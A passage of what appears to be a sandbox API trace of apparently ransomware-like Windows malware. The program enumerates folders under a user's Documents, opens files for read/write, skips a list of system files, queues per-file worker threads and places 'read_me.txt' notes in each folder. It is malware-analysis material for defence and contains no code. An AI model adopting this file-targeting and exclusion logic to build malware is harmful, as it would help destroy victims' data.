lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b27ea0, ftCreationTime.dwHighDateTime=0x1d4cc49, ftLastAccessTime.dwLowDateTime=0x4c8039a0, ftLastAccessTime.dwHighDateTime=0x1d4ccac, ftLastWriteTime.dwLowDateTime=0x4c8039a0, ftLastWriteTime.dwHighDateTime=0x1d4ccac, nFileSizeHigh=0x0, nFileSizeLow=0x6aaa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wweubmdbxmas5vsnma8w.odt", cAlternateFileName="")) returned 0xffffffff [0078.705] wnsprintfW (in: pszDest=0x44700e0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\read_me.txt") returned 67 [0078.705] GetProcessHeap () returned 0x540000 [0078.705] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44700e0 | out: hHeap=0x540000) returned 1 [0078.705] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 50 [0078.705] GetProcessHeap () returned 0x540000 [0078.705] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4292100 | out: hHeap=0x540000) returned 1 [0078.705] GetProcessHeap () returned 0x540000 [0078.705] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4292100 [0078.706] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*") returned 55 [0078.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.706] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\.") returned 55 [0078.706] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.706] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\..") returned 56 [0078.706] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.706] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned 65 [0078.706] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0078.736] StrStrW (lpFirst="favorites.vss", lpSrch="read_me.txt") returned 0x0 [0078.736] StrStrW (lpFirst="favorites.vss", lpSrch="autoexec.bat") returned 0x0 [0078.736] StrStrW (lpFirst="favorites.vss", lpSrch="desktop.ini") returned 0x0 [0078.736] StrStrW (lpFirst="favorites.vss", lpSrch="autorun.inf") returned 0x0 [0078.736] StrStrW (lpFirst="favorites.vss", lpSrch="ntuser.dat") returned 0x0 [0078.736] StrStrW (lpFirst="favorites.vss", lpSrch="iconcache.db") returned 0x0 [0078.737] StrStrW (lpFirst="favorites.vss", lpSrch="bootsect.bak") returned 0x0 [0078.737] StrStrW (lpFirst="favorites.vss", lpSrch="boot.ini") returned 0x0 [0078.737] StrStrW (lpFirst="favorites.vss", lpSrch="ntuser.dat.log") returned 0x0 [0078.737] StrStrW (lpFirst="favorites.vss", lpSrch="thumbs.db") returned 0x0 [0078.737] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 91 [0078.737] QueueUserWorkItem (Function=0x404e00, Context=0x8e0, Flags=0x0) returned 1 [0078.737] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab00630, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.737] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\read_me.txt") returned 65 [0078.737] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0078.737] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.737] CloseHandle (hObject=0x8e8) returned 1 [0078.737] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0078.737] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private") returned 62 [0078.737] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0078.737] FindClose (in: hFindFile=0x32fc288 | out: hFindFile=0x32fc288) returned 1 [0078.737] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\read_me.txt") returned 65 [0078.737] GetProcessHeap () returned 0x540000 [0078.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4292100 | out: hHeap=0x540000) returned 1 [0078.737] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 52 [0078.737] GetProcessHeap () returned 0x540000 [0078.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42a2108 | out: hHeap=0x540000) returned 1 [0078.738] GetProcessHeap () returned 0x540000 [0078.738] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0078.738] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*") returned 55 [0078.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0078.738] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\read_me.txt") returned 65 [0078.738] GetProcessHeap () returned 0x540000 [0078.738] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0078.738] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 53 [0078.738] GetProcessHeap () returned 0x540000 [0078.738] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42b2110 | out: hHeap=0x540000) returned 1 [0078.738] GetProcessHeap () returned 0x540000 [0078.738] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0078.738] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*") returned 59 [0078.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.738] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\.") returned 59 [0078.738] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.738] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\..") returned 60 [0078.738] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab00630, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.738] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\read_me.txt") returned 69 [0078.738] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0078.739] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.739] CloseHandle (hObject=0x8e8) returned 1 [0078.739] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0078.739] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned 80 [0078.739] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0078.739] StrStrW (lpFirst="voeimd@djhreuu.uhd.pst", lpSrch="read_me.txt") returned 0x0 [0078.739] StrStrW (lpFirst="voeimd@djhreuu.uhd.pst", lpSrch="autoexec.bat") returned 0x0 [0078.739] StrStrW (lpFirst="voeimd@djhreuu.uhd.pst", lpSrch="desktop.ini") returned 0x0 [0078.739] StrStrW (lpFirst="voeimd@djhreuu.uhd.pst", lpSrch="autorun.inf") returned 0x0 [0078.739] StrStrW (lpFirst="voeimd@djhreuu.uhd.pst", lpSrch="ntuser.dat") returned 0x0 [0078.739] StrStrW (lpFirst="voeimd@djhreuu.uhd.pst", lpSrch="iconcache.db") returned 0x0 [0078.739] StrStrW (lpFirst="voeimd@djhreuu.uhd.pst", lpSrch="bootsect.bak") returned 0x0 [0078.739] StrStrW (lpFirst="voeimd@djhreuu.uhd.pst", lpSrch="boot.ini") returned 0x0 [0078.739] StrStrW (lpFirst="voeimd@djhreuu.uhd.pst", lpSrch="ntuser.dat.log") returned 0x0 [0078.739] StrStrW (lpFirst="voeimd@djhreuu.uhd.pst", lpSrch="thumbs.db") returned 0x0 [0078.739] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 92 [0078.740] QueueUserWorkItem (Function=0x404e00, Context=0x8e8, Flags=0x0) returned 1 [0078.740] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0078.740] FindClose (in: hFindFile=0x32fc288 | out: hFindFile=0x32fc288) returned 1 [0078.740] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\read_me.txt") returned 69 [0078.740] GetProcessHeap () returned 0x540000 [0078.740] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0078.740] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 54 [0078.740] GetProcessHeap () returned 0x540000 [0078.740] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42c2118 | out: hHeap=0x540000) returned 1 [0078.740] GetProcessHeap () returned 0x540000 [0078.740] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0078.740] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\*") returned 61 [0078.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9130360, ftCreationTime.dwHighDateTime=0x1d4d224, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.740] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\.") returned 61 [0078.740] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9130360, ftCreationTime.dwHighDateTime=0x1d4d224, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.740] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\..") returned 62 [0078.740] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a45040, ftCreationTime.dwHighDateTime=0x1d4c7a4, ftLastAccessTime.dwLowDateTime=0x43f062d0, ftLastAccessTime.dwHighDateTime=0x1d4d30d, ftLastWriteTime.dwLowDateTime=0x43f062d0, ftLastWriteTime.dwHighDateTime=0x1d4d30d, nFileSizeHigh=0x0, nFileSizeLow=0xcd34, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FXbw4yM3eXs.pptx", cAlternateFileName="FXBW4Y~1.PPT")) returned 1 [0078.740] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\FXbw4yM3eXs.pptx") returned 76 [0078.740] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\FXbw4yM3eXs.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u6atyua27i1snb_\\fxbw4ym3exs.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0078.740] StrStrW (lpFirst="fxbw4ym3exs.pptx", lpSrch="read_me.txt") returned 0x0 [0078.741] StrStrW (lpFirst="fxbw4ym3exs.pptx", lpSrch="autoexec.bat") returned 0x0 [0078.741] StrStrW (lpFirst="fxbw4ym3exs.pptx", lpSrch="desktop.ini") returned 0x0 [0078.741] StrStrW (lpFirst="fxbw4ym3exs.pptx", lpSrch="autorun.inf") returned 0x0 [0078.741] StrStrW (lpFirst="fxbw4ym3exs.pptx", lpSrch="ntuser.dat") returned 0x0 [0078.741] StrStrW (lpFirst="fxbw4ym3exs.pptx", lpSrch="iconcache.db") returned 0x0 [0078.741] StrStrW (lpFirst="fxbw4ym3exs.pptx", lpSrch="bootsect.bak") returned 0x0 [0078.741] StrStrW (lpFirst="fxbw4ym3exs.pptx", lpSrch="boot.ini") returned 0x0 [0078.741] StrStrW (lpFirst="fxbw4ym3exs.pptx", lpSrch="ntuser.dat.log") returned 0x0 [0078.741] StrStrW (lpFirst="fxbw4ym3exs.pptx", lpSrch="thumbs.db") returned 0x0 [0078.741] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 93 [0078.741] QueueUserWorkItem (Function=0x404e00, Context=0x8ec, Flags=0x0) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab00630, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.741] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\read_me.txt") returned 71 [0078.741] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u6atyua27i1snb_\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0078.741] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.741] CloseHandle (hObject=0x8f0) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb69f7e0, ftCreationTime.dwHighDateTime=0x1d4cf7b, ftLastAccessTime.dwLowDateTime=0xe4cb3890, ftLastAccessTime.dwHighDateTime=0x1d4c694, ftLastWriteTime.dwLowDateTime=0xe4cb3890, ftLastWriteTime.dwHighDateTime=0x1d4c694, nFileSizeHigh=0x0, nFileSizeLow=0x12b79, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wbvsXB.ots", cAlternateFileName="")) returned 1 [0078.741] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\wbvsXB.ots") returned 70 [0078.741] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\wbvsXB.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u6atyua27i1snb_\\wbvsxb.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0078.742] StrStrW (lpFirst="wbvsxb.ots", lpSrch="read_me.txt") returned 0x0 [0078.742] StrStrW (lpFirst="wbvsxb.ots", lpSrch="autoexec.bat") returned 0x0 [0078.742] StrStrW (lpFirst="wbvsxb.ots", lpSrch="desktop.ini") returned 0x0 [0078.742] StrStrW (lpFirst="wbvsxb.ots", lpSrch="autorun.inf") returned 0x0 [0078.742] StrStrW (lpFirst="wbvsxb.ots", lpSrch="ntuser.dat") returned 0x0 [0078.742] StrStrW (lpFirst="wbvsxb.ots", lpSrch="iconcache.db") returned 0x0 [0078.742] StrStrW (lpFirst="wbvsxb.ots", lpSrch="bootsect.bak") returned 0x0 [0078.742] StrStrW (lpFirst="wbvsxb.ots", lpSrch="boot.ini") returned 0x0 [0078.742] StrStrW (lpFirst="wbvsxb.ots", lpSrch="ntuser.dat.log") returned 0x0 [0078.742] StrStrW (lpFirst="wbvsxb.ots", lpSrch="thumbs.db") returned 0x0 [0078.742] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 94 [0078.742] QueueUserWorkItem (Function=0x404e00, Context=0x8f0, Flags=0x0) returned 1 [0078.742] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb69f7e0, ftCreationTime.dwHighDateTime=0x1d4cf7b, ftLastAccessTime.dwLowDateTime=0xe4cb3890, ftLastAccessTime.dwHighDateTime=0x1d4c694, ftLastWriteTime.dwLowDateTime=0xe4cb3890, ftLastWriteTime.dwHighDateTime=0x1d4c694, nFileSizeHigh=0x0, nFileSizeLow=0x12b79, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wbvsxb.ots", cAlternateFileName="")) returned 0 [0078.742] FindClose (in: hFindFile=0x32fc288 | out: hFindFile=0x32fc288) returned 1 [0078.742] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\read_me.txt") returned 71 [0078.742] GetProcessHeap () returned 0x540000 [0078.742] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0078.742] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 55 [0078.742] GetProcessHeap () returned 0x540000 [0078.742] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42d2120 | out: hHeap=0x540000) returned 1 [0078.742] GetProcessHeap () returned 0x540000 [0078.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0078.742] wnsprintfW (in: 